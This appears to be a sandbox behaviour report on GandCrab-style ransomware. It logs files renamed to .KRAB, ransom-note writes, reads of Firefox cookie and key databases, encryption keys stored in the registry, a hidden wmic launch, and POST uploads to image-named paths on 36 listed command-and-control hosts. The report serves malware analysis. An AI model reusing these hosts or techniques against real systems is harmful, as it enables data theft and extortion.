Move C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328975[[fn=Theme Picture Accent]].glox.KRAB source_filename = C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328975[[fn=Theme Picture Accent]].glox True 1
Fn
Move C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328983[[fn=Theme Picture Alternating Accent]].glox.KRAB source_filename = C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328983[[fn=Theme Picture Alternating Accent]].glox True 1
Fn
Move C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328986[[fn=Theme Picture Grid]].glox.KRAB source_filename = C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328986[[fn=Theme Picture Grid]].glox True 1
Fn
Move C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328990[[fn=Varying Width List]].glox.KRAB source_filename = C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328990[[fn=Varying Width List]].glox True 1
Fn
Move C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328998[[fn=Rings]].glox.KRAB source_filename = C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328998[[fn=Rings]].glox True 1
Fn
Move C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Templates\Normal.dotm.KRAB source_filename = C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Templates\Normal.dotm True 1
Fn
Move C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Templates\Process Map for Basic Flowchart.xltx.KRAB source_filename = C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Templates\Process Map for Basic Flowchart.xltx True 1
Fn
Move C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Templates\Process Map for Cross-Functional Flowchart.xltx.KRAB source_filename = C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Templates\Process Map for Cross-Functional Flowchart.xltx True 1
Fn
Move C:\Users\CIiHmnxMn6Ps\AppData\Roaming\xZmPn47Fywi0P.png.KRAB source_filename = C:\Users\CIiHmnxMn6Ps\AppData\Roaming\xZmPn47Fywi0P.png True 1
Fn
Read C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Mozilla\Firefox\Profiles\8i341t8m.default\cookies.sqlite size = 1048576, size_out = 524288 True 1
Fn
Read C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Mozilla\Firefox\Profiles\8i341t8m.default\key3.db size = 1048576, size_out = 16384 True 1
Fn
Read C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Mozilla\Firefox\Profiles\8i341t8m.default\places.sqlite size = 1048576, size_out = 1048576 True 10
Fn
Read C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Mozilla\Firefox\Profiles\8i341t8m.default\places.sqlite size = 1048576, size_out = 0 True 1
Fn
Write C:\Program Files\\KRAB-DECRYPT.txt size = 8046 True 1
Fn
Data
Write C:\Program Files (x86)\\KRAB-DECRYPT.txt size = 8046 True 1
Fn
Data
Write C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\SystemCertificates\\KRAB-DECRYPT.txt size = 8046 True 1
Fn
Write C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\SystemCertificates\My\\KRAB-DECRYPT.txt size = 8046 True 1
Fn
Write C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\SystemCertificates\My\Certificates\\KRAB-DECRYPT.txt size = 8046 True 1
Fn
Write C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\SystemCertificates\My\CRLs\\KRAB-DECRYPT.txt size = 8046 True 1
Fn
Write C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\SystemCertificates\My\CTLs\\KRAB-DECRYPT.txt size = 8046 True 1
Fn
For performance reasons, the remaining 1683 entries are omitted.
The remaining entries can be found in glog.xml.
Registry (40)
»
Operation Key Additional Information Success Count Logfile
Create Key HKEY_CURRENT_USER\SOFTWARE\keys_data\data - True 1
Fn
Open Key HKEY_CURRENT_USER\Keyboard Layout\Preload - True 8
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\Tcpip\Parameters - True 1
Fn
Open Key HKEY_CURRENT_USER\Control Panel\International - True 1
Fn
Open Key HKEY_CURRENT_USER\Keyboard Layout\Preload - True 2
Fn
Open Key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 - True 2
Fn
Open Key HKEY_CURRENT_USER\SOFTWARE\keys_data\data - False 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\Tcpip\Parameters - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 - True 2
Fn
Read Value HKEY_CURRENT_USER\Keyboard Layout\Preload value_name = 1, data = 48 True 1
Fn
Read Value HKEY_CURRENT_USER\Keyboard Layout\Preload value_name = 2, data = 48 False 1
Fn
Read Value HKEY_CURRENT_USER\Keyboard Layout\Preload value_name = 3, data = 48 False 1
Fn
Read Value HKEY_CURRENT_USER\Keyboard Layout\Preload value_name = 4, data = 48 False 1
Fn
Read Value HKEY_CURRENT_USER\Keyboard Layout\Preload value_name = 5, data = 48 False 1
Fn
Read Value HKEY_CURRENT_USER\Keyboard Layout\Preload value_name = 6, data = 48 False 1
Fn
Read Value HKEY_CURRENT_USER\Keyboard Layout\Preload value_name = 7, data = 48 False 1
Fn
Read Value HKEY_CURRENT_USER\Keyboard Layout\Preload value_name = 8, data = 48 False 1
Fn
Read Value HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\Tcpip\Parameters value_name = Domain, data = 0 True 1
Fn
Read Value HKEY_CURRENT_USER\Control Panel\International value_name = LocaleName, data = 101 True 1
Fn
Read Value HKEY_CURRENT_USER\Keyboard Layout\Preload value_name = 1, data = 48 True 1
Fn
Read Value HKEY_CURRENT_USER\Keyboard Layout\Preload value_name = 2, data = 48 False 1
Fn
Read Value HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion value_name = productName, data = 87 True 1
Fn
Read Value HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 value_name = ProcessorNameString, data = 73 True 1
Fn
Read Value HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 value_name = Identifier, data = 73 True 1
Fn
Read Value HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\Tcpip\Parameters value_name = Domain, data = 0 True 1
Fn
Read Value HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 value_name = ProcessorNameString, data = 73 True 1
Fn
Read Value HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 value_name = Identifier, data = 73 True 1
Fn
Write Value HKEY_CURRENT_USER\SOFTWARE\keys_data\data value_name = public, size = 276, type = REG_BINARY True 1
Fn
Data
Write Value HKEY_CURRENT_USER\SOFTWARE\keys_data\data value_name = private, size = 1688, type = REG_BINARY True 1
Fn
Data
Process (1)
»
Operation Process Additional Information Success Count Logfile
Create C:\Windows\system32\wbem\wmic.exe show_window = SW_HIDE True 1
Fn
Module (1584)
»
Operation Module Additional Information Success Count Logfile
Get Handle c:\windows\syswow64\ntdll.dll base_address = 0x77c40000 True 2
Fn
Get Handle c:\windows\syswow64\advapi32.dll base_address = 0x77990000 True 790
Fn
Get Address c:\windows\syswow64\ntdll.dll function = RtlComputeCrc32, address_out = 0x77c66b10 True 2
Fn
Get Address c:\windows\syswow64\advapi32.dll function = CryptGenRandom, address_out = 0x779b0df0 True 790
Fn
System (508)
»
Operation Additional Information Success Count Logfile
Get Computer Name result_out = LHNIWSJ True 2
Fn
Sleep duration = -1 (infinite) True 1
Fn
Get Time type = Ticks, time = 113078 True 1
Fn
Get Time type = System Time, time = 2018-07-05 13:44:48 (UTC) True 10
Fn
Get Time type = System Time, time = 2018-07-05 13:45:02 (UTC) True 5
Fn
Get Time type = System Time, time = 2018-07-05 13:45:03 (UTC) True 11
Fn
Get Time type = System Time, time = 2018-07-05 13:45:04 (UTC) True 19
Fn
Get Time type = System Time, time = 2018-07-05 13:45:05 (UTC) True 3
Fn
Get Time type = System Time, time = 2018-07-05 13:45:06 (UTC) True 12
Fn
Get Time type = System Time, time = 2018-07-05 13:45:07 (UTC) True 10
Fn
Get Time type = System Time, time = 2018-07-05 13:45:08 (UTC) True 11
Fn
Get Time type = System Time, time = 2018-07-05 13:45:09 (UTC) True 9
Fn
Get Time type = System Time, time = 2018-07-05 13:45:10 (UTC) True 5
Fn
Get Time type = System Time, time = 2018-07-05 13:45:19 (UTC) True 2
Fn
Get Time type = System Time, time = 2018-07-05 13:45:21 (UTC) True 5
Fn
Get Time type = System Time, time = 2018-07-05 13:45:23 (UTC) True 9
Fn
Get Time type = System Time, time = 2018-07-05 13:45:24 (UTC) True 2
Fn
Get Time type = System Time, time = 2018-07-05 13:45:25 (UTC) True 3
Fn
Get Time type = System Time, time = 2018-07-05 13:45:26 (UTC) True 3
Fn
Get Time type = System Time, time = 2018-07-05 13:45:27 (UTC) True 4
Fn
Get Time type = System Time, time = 2018-07-05 13:45:28 (UTC) True 2
Fn
Get Time type = System Time, time = 2018-07-05 13:45:29 (UTC) True 1
Fn
Get Time type = System Time, time = 2018-07-05 13:45:30 (UTC) True 5
Fn
Get Time type = System Time, time = 2018-07-05 13:45:31 (UTC) True 6
Fn
Get Time type = System Time, time = 2018-07-05 13:45:32 (UTC) True 5
Fn
Get Time type = System Time, time = 2018-07-05 13:45:33 (UTC) True 8
Fn
Get Time type = System Time, time = 2018-07-05 13:45:34 (UTC) True 1
Fn
Get Time type = System Time, time = 2018-07-05 13:45:35 (UTC) True 1
Fn
Get Time type = System Time, time = 2018-07-05 13:45:36 (UTC) True 5
Fn
Get Time type = System Time, time = 2018-07-05 13:45:37 (UTC) True 1
Fn
Get Time type = System Time, time = 2018-07-05 13:45:38 (UTC) True 8
Fn
Get Time type = System Time, time = 2018-07-05 13:45:39 (UTC) True 2
Fn
Get Time type = System Time, time = 2018-07-05 13:45:40 (UTC) True 9
Fn
Get Time type = System Time, time = 2018-07-05 13:45:41 (UTC) True 6
Fn
Get Time type = System Time, time = 2018-07-05 13:45:42 (UTC) True 3
Fn
Get Time type = System Time, time = 2018-07-05 13:45:44 (UTC) True 3
Fn
Get Time type = System Time, time = 2018-07-05 13:45:45 (UTC) True 9
Fn
Get Time type = System Time, time = 2018-07-05 13:45:46 (UTC) True 5
Fn
Get Time type = System Time, time = 2018-07-05 13:45:47 (UTC) True 25
Fn
Get Time type = System Time, time = 2018-07-05 13:45:48 (UTC) True 21
Fn
Get Info type = Windows Directory, result_out = C:\Windows True 252
Fn
Get Info type = Hardware Information True 2
Fn
Get Info type = System Directory, result_out = C:\Windows\system32 True 1
Fn
Network Behavior
HTTP Sessions (72)
»
Information Value
Total Data Sent 16.93 KB
Total Data Received 99 bytes
Contacted Host Count 36
Contacted Hosts www.billerimpex.com, www.macartegrise.eu, www.poketeg.com, perovaphoto.ru, asl-company.ru, www.fabbfoundation.gm, www.perfectfunnelblueprint.com, www.wash-wear.com, pp-panda74.ru, cevent.net, bellytobabyphotographyseattle.com, alem.be, boatshowradio.com, dna-cp.com, acbt.fr, wpakademi.com, www.cakav.hu, www.mimid.cz, 6chen.cn, goodapd.website, oceanlinen.com, tommarmores.com.br, nesten.dk, zaeba.co.uk, www.n2plus.co.th, koloritplus.ru, h5s.vn, marketisleri.com, www.toflyaviacao.com.br, www.rment.in, www.lagouttedelixir.com, www.krishnagrp.com, big-game-fishing-croatia.hr, mauricionacif.com, www.ismcrossconnect.com, aurumwedding.ru
HTTP Session #1
»
Information Value
User Agent Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Server Name www.billerimpex.com
Server Port 80
Data Sent 237
Data Received 3
Operation Additional Information Success Count Logfile
Open Session user_agent = Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko, access_type = INTERNET_OPEN_TYPE_PRECONFIG True 1
Fn
Open Connection protocol = HTTP, server_name = www.billerimpex.com, server_port = 80 True 1
Fn
Open HTTP Request http_verb = GET, http_version = HTTP/1.1, target_resource = /, accept_types = 0, flags = INTERNET_FLAG_PRAGMA_NOCACHE, INTERNET_FLAG_NO_UI, INTERNET_FLAG_HYPERLINK, INTERNET_FLAG_IGNORE_CERT_CN_INVALID, INTERNET_FLAG_IGNORE_CERT_DATE_INVALID, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTPS, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP, INTERNET_FLAG_NO_AUTH, INTERNET_FLAG_NO_AUTO_REDIRECT, INTERNET_FLAG_NO_CACHE_WRITE, INTERNET_FLAG_RELOAD True 1
Fn
Send HTTP Request headers = WINHTTP_NO_ADDITIONAL_HEADERS, url = www.billerimpex.com/ True 1
Fn
Query HTTP Info flags = HTTP_QUERY_STATUS_CODE, size_out = 3 True 1
Fn
Data
Close Session - True 1
Fn
HTTP Session #2
»
Information Value
User Agent Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Server Name www.billerimpex.com
Server Port 80
Data Sent 264
Data Received 0
Operation Additional Information Success Count Logfile
Open Session user_agent = Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko, access_type = INTERNET_OPEN_TYPE_PRECONFIG True 1
Fn
Open Connection protocol = HTTP, server_name = www.billerimpex.com, server_port = 80 True 1
Fn
Open HTTP Request http_verb = POST, http_version = HTTP/1.1, target_resource = includes/assets/dedeme.png, accept_types = 0, flags = INTERNET_FLAG_PRAGMA_NOCACHE, INTERNET_FLAG_NO_UI, INTERNET_FLAG_HYPERLINK, INTERNET_FLAG_IGNORE_CERT_CN_INVALID, INTERNET_FLAG_IGNORE_CERT_DATE_INVALID, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTPS, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP, INTERNET_FLAG_NO_AUTH, INTERNET_FLAG_NO_CACHE_WRITE, INTERNET_FLAG_RELOAD True 1
Fn
Send HTTP Request headers = Content-Type: multipart/form-data, url = www.billerimpex.com/includes/assets/dedeme.png True 1
Fn
Data
Close Session - True 71
Fn
HTTP Session #3
»
Information Value
User Agent Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Server Name www.macartegrise.eu
Server Port 80
Data Sent 235
Data Received 3
Operation Additional Information Success Count Logfile
Open Session user_agent = Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko, access_type = INTERNET_OPEN_TYPE_PRECONFIG True 1
Fn
Open Connection protocol = HTTP, server_name = www.macartegrise.eu, server_port = 80 True 1
Fn
Open HTTP Request http_verb = GET, http_version = HTTP/1.1, target_resource = /, accept_types = 0, flags = INTERNET_FLAG_PRAGMA_NOCACHE, INTERNET_FLAG_NO_UI, INTERNET_FLAG_HYPERLINK, INTERNET_FLAG_IGNORE_CERT_CN_INVALID, INTERNET_FLAG_IGNORE_CERT_DATE_INVALID, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTPS, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP, INTERNET_FLAG_NO_AUTH, INTERNET_FLAG_NO_AUTO_REDIRECT, INTERNET_FLAG_NO_CACHE_WRITE, INTERNET_FLAG_RELOAD True 1
Fn
Send HTTP Request headers = WINHTTP_NO_ADDITIONAL_HEADERS, url = www.macartegrise.eu/ True 1
Fn
Query HTTP Info flags = HTTP_QUERY_STATUS_CODE, size_out = 3 True 1
Fn
Data
HTTP Session #4
»
Information Value
User Agent Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Server Name www.macartegrise.eu
Server Port 80
Data Sent 262
Data Received 0
Operation Additional Information Success Count Logfile
Open Session user_agent = Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko, access_type = INTERNET_OPEN_TYPE_PRECONFIG True 1
Fn
Open Connection protocol = HTTP, server_name = www.macartegrise.eu, server_port = 80 True 1
Fn
Open HTTP Request http_verb = POST, http_version = HTTP/1.1, target_resource = static/images/eszumode.png, accept_types = 0, flags = INTERNET_FLAG_PRAGMA_NOCACHE, INTERNET_FLAG_NO_UI, INTERNET_FLAG_HYPERLINK, INTERNET_FLAG_IGNORE_CERT_CN_INVALID, INTERNET_FLAG_IGNORE_CERT_DATE_INVALID, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTPS, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP, INTERNET_FLAG_NO_AUTH, INTERNET_FLAG_NO_CACHE_WRITE, INTERNET_FLAG_RELOAD True 1
Fn
Send HTTP Request headers = Content-Type: multipart/form-data, url = www.macartegrise.eu/static/images/eszumode.png True 1
Fn
Data
Close Session - True 71
Fn
HTTP Session #5
»
Information Value
User Agent Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Server Name www.poketeg.com
Server Port 80
Data Sent 227
Data Received 3
Operation Additional Information Success Count Logfile
Open Session user_agent = Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko, access_type = INTERNET_OPEN_TYPE_PRECONFIG True 1
Fn
Open Connection protocol = HTTP, server_name = www.poketeg.com, server_port = 80 True 1
Fn
Open HTTP Request http_verb = GET, http_version = HTTP/1.1, target_resource = /, accept_types = 0, flags = INTERNET_FLAG_PRAGMA_NOCACHE, INTERNET_FLAG_NO_UI, INTERNET_FLAG_HYPERLINK, INTERNET_FLAG_IGNORE_CERT_CN_INVALID, INTERNET_FLAG_IGNORE_CERT_DATE_INVALID, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTPS, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP, INTERNET_FLAG_NO_AUTH, INTERNET_FLAG_NO_AUTO_REDIRECT, INTERNET_FLAG_NO_CACHE_WRITE, INTERNET_FLAG_RELOAD True 1
Fn
Send HTTP Request headers = WINHTTP_NO_ADDITIONAL_HEADERS, url = www.poketeg.com/ True 1
Fn
Query HTTP Info flags = HTTP_QUERY_STATUS_CODE, size_out = 3 True 1
Fn
Data
HTTP Session #6
»
Information Value
User Agent Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Server Name www.poketeg.com
Server Port 80
Data Sent 256
Data Received 0
Operation Additional Information Success Count Logfile
Open Session user_agent = Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko, access_type = INTERNET_OPEN_TYPE_PRECONFIG True 1
Fn
Open Connection protocol = HTTP, server_name = www.poketeg.com, server_port = 80 True 1
Fn
Open HTTP Request http_verb = POST, http_version = HTTP/1.1, target_resource = content/graphic/fuammoru.jpg, accept_types = 0, flags = INTERNET_FLAG_PRAGMA_NOCACHE, INTERNET_FLAG_NO_UI, INTERNET_FLAG_HYPERLINK, INTERNET_FLAG_IGNORE_CERT_CN_INVALID, INTERNET_FLAG_IGNORE_CERT_DATE_INVALID, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTPS, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP, INTERNET_FLAG_NO_AUTH, INTERNET_FLAG_NO_CACHE_WRITE, INTERNET_FLAG_RELOAD True 1
Fn
Send HTTP Request headers = Content-Type: multipart/form-data, url = www.poketeg.com/content/graphic/fuammoru.jpg True 1
Fn
Data
Close Session - True 71
Fn
HTTP Session #7
»
Information Value
User Agent Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Server Name perovaphoto.ru
Server Port 80
Data Sent 225
Data Received 3
Operation Additional Information Success Count Logfile
Open Session user_agent = Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko, access_type = INTERNET_OPEN_TYPE_PRECONFIG True 1
Fn
Open Connection protocol = HTTP, server_name = perovaphoto.ru, server_port = 80 True 1
Fn
Open HTTP Request http_verb = GET, http_version = HTTP/1.1, target_resource = /, accept_types = 0, flags = INTERNET_FLAG_PRAGMA_NOCACHE, INTERNET_FLAG_NO_UI, INTERNET_FLAG_HYPERLINK, INTERNET_FLAG_IGNORE_CERT_CN_INVALID, INTERNET_FLAG_IGNORE_CERT_DATE_INVALID, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTPS, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP, INTERNET_FLAG_NO_AUTH, INTERNET_FLAG_NO_AUTO_REDIRECT, INTERNET_FLAG_NO_CACHE_WRITE, INTERNET_FLAG_RELOAD True 1
Fn
Send HTTP Request headers = WINHTTP_NO_ADDITIONAL_HEADERS, url = perovaphoto.ru/ True 1
Fn
Query HTTP Info flags = HTTP_QUERY_STATUS_CODE, size_out = 3 True 1
Fn
Data
HTTP Session #8
»
Information Value
User Agent Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Server Name perovaphoto.ru
Server Port 80
Data Sent 251
Data Received 0
Operation Additional Information Success Count Logfile
Open Session user_agent = Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko, access_type = INTERNET_OPEN_TYPE_PRECONFIG True 1
Fn
Open Connection protocol = HTTP, server_name = perovaphoto.ru, server_port = 80 True 1
Fn
Open HTTP Request http_verb = POST, http_version = HTTP/1.1, target_resource = uploads/images/fusoru.jpg, accept_types = 0, flags = INTERNET_FLAG_PRAGMA_NOCACHE, INTERNET_FLAG_NO_UI, INTERNET_FLAG_HYPERLINK, INTERNET_FLAG_IGNORE_CERT_CN_INVALID, INTERNET_FLAG_IGNORE_CERT_DATE_INVALID, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTPS, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP, INTERNET_FLAG_NO_AUTH, INTERNET_FLAG_NO_CACHE_WRITE, INTERNET_FLAG_RELOAD True 1
Fn
Send HTTP Request headers = Content-Type: multipart/form-data, url = perovaphoto.ru/uploads/images/fusoru.jpg True 1
Fn
Data
Close Session - True 71
Fn
HTTP Session #9
»
Information Value
User Agent Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Server Name asl-company.ru
Server Port 80
Data Sent 225
Data Received 3
Operation Additional Information Success Count Logfile
Open Session user_agent = Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko, access_type = INTERNET_OPEN_TYPE_PRECONFIG True 1
Fn
Open Connection protocol = HTTP, server_name = asl-company.ru, server_port = 80 True 1
Fn
Open HTTP Request http_verb = GET, http_version = HTTP/1.1, target_resource = /, accept_types = 0, flags = INTERNET_FLAG_PRAGMA_NOCACHE, INTERNET_FLAG_NO_UI, INTERNET_FLAG_HYPERLINK, INTERNET_FLAG_IGNORE_CERT_CN_INVALID, INTERNET_FLAG_IGNORE_CERT_DATE_INVALID, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTPS, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP, INTERNET_FLAG_NO_AUTH, INTERNET_FLAG_NO_AUTO_REDIRECT, INTERNET_FLAG_NO_CACHE_WRITE, INTERNET_FLAG_RELOAD True 1
Fn
Send HTTP Request headers = WINHTTP_NO_ADDITIONAL_HEADERS, url = asl-company.ru/ True 1
Fn
Query HTTP Info flags = HTTP_QUERY_STATUS_CODE, size_out = 3 True 1
Fn
Data
HTTP Session #10
»
Information Value
User Agent Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Server Name asl-company.ru
Server Port 80
Data Sent 251
Data Received 0
Operation Additional Information Success Count Logfile
Open Session user_agent = Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko, access_type = INTERNET_OPEN_TYPE_PRECONFIG True 1
Fn
Open Connection protocol = HTTP, server_name = asl-company.ru, server_port = 80 True 1
Fn
Open HTTP Request http_verb = POST, http_version = HTTP/1.1, target_resource = content/pictures/kefu.bmp, accept_types = 0, flags = INTERNET_FLAG_PRAGMA_NOCACHE, INTERNET_FLAG_NO_UI, INTERNET_FLAG_HYPERLINK, INTERNET_FLAG_IGNORE_CERT_CN_INVALID, INTERNET_FLAG_IGNORE_CERT_DATE_INVALID, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTPS, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP, INTERNET_FLAG_NO_AUTH, INTERNET_FLAG_NO_CACHE_WRITE, INTERNET_FLAG_RELOAD True 1
Fn
Send HTTP Request headers = Content-Type: multipart/form-data, url = asl-company.ru/content/pictures/kefu.bmp True 1
Fn
Data
Close Session - True 71
Fn
HTTP Session #11
»
Information Value
User Agent Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Server Name www.fabbfoundation.gm
Server Port 80
Data Sent 239
Data Received 3
Operation Additional Information Success Count Logfile
Open Session user_agent = Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko, access_type = INTERNET_OPEN_TYPE_PRECONFIG True 1
Fn
Open Connection protocol = HTTP, server_name = www.fabbfoundation.gm, server_port = 80 True 1
Fn
Open HTTP Request http_verb = GET, http_version = HTTP/1.1, target_resource = /, accept_types = 0, flags = INTERNET_FLAG_PRAGMA_NOCACHE, INTERNET_FLAG_NO_UI, INTERNET_FLAG_HYPERLINK, INTERNET_FLAG_IGNORE_CERT_CN_INVALID, INTERNET_FLAG_IGNORE_CERT_DATE_INVALID, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTPS, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP, INTERNET_FLAG_NO_AUTH, INTERNET_FLAG_NO_AUTO_REDIRECT, INTERNET_FLAG_NO_CACHE_WRITE, INTERNET_FLAG_RELOAD True 1
Fn
Send HTTP Request headers = WINHTTP_NO_ADDITIONAL_HEADERS, url = www.fabbfoundation.gm/ True 1
Fn
Query HTTP Info flags = HTTP_QUERY_STATUS_CODE, size_out = 3 True 1
Fn
Data
HTTP Session #12
»
Information Value
User Agent Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Server Name www.fabbfoundation.gm
Server Port 80
Data Sent 269
Data Received 0
Operation Additional Information Success Count Logfile
Open Session user_agent = Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko, access_type = INTERNET_OPEN_TYPE_PRECONFIG True 1
Fn
Open Connection protocol = HTTP, server_name = www.fabbfoundation.gm, server_port = 80 True 1
Fn
Open HTTP Request http_verb = POST, http_version = HTTP/1.1, target_resource = content/assets/imzukesohe.bmp, accept_types = 0, flags = INTERNET_FLAG_PRAGMA_NOCACHE, INTERNET_FLAG_NO_UI, INTERNET_FLAG_HYPERLINK, INTERNET_FLAG_IGNORE_CERT_CN_INVALID, INTERNET_FLAG_IGNORE_CERT_DATE_INVALID, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTPS, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP, INTERNET_FLAG_NO_AUTH, INTERNET_FLAG_NO_CACHE_WRITE, INTERNET_FLAG_RELOAD True 1
Fn
Send HTTP Request headers = Content-Type: multipart/form-data, url = www.fabbfoundation.gm/content/assets/imzukesohe.bmp True 1
Fn
Data
Close Session - True 71
Fn
HTTP Session #13
»
Information Value
User Agent Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Server Name www.perfectfunnelblueprint.com
Server Port 80
Data Sent 257
Data Received 3
Operation Additional Information Success Count Logfile
Open Session user_agent = Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko, access_type = INTERNET_OPEN_TYPE_PRECONFIG True 1
Fn
Open Connection protocol = HTTP, server_name = www.perfectfunnelblueprint.com, server_port = 80 True 1
Fn
Open HTTP Request http_verb = GET, http_version = HTTP/1.1, target_resource = /, accept_types = 0, flags = INTERNET_FLAG_PRAGMA_NOCACHE, INTERNET_FLAG_NO_UI, INTERNET_FLAG_HYPERLINK, INTERNET_FLAG_IGNORE_CERT_CN_INVALID, INTERNET_FLAG_IGNORE_CERT_DATE_INVALID, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTPS, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP, INTERNET_FLAG_NO_AUTH, INTERNET_FLAG_NO_AUTO_REDIRECT, INTERNET_FLAG_NO_CACHE_WRITE, INTERNET_FLAG_RELOAD True 1
Fn
Send HTTP Request headers = WINHTTP_NO_ADDITIONAL_HEADERS, url = www.perfectfunnelblueprint.com/ True 1
Fn
Query HTTP Info flags = HTTP_QUERY_STATUS_CODE, size_out = 3 True 1
Fn
Data
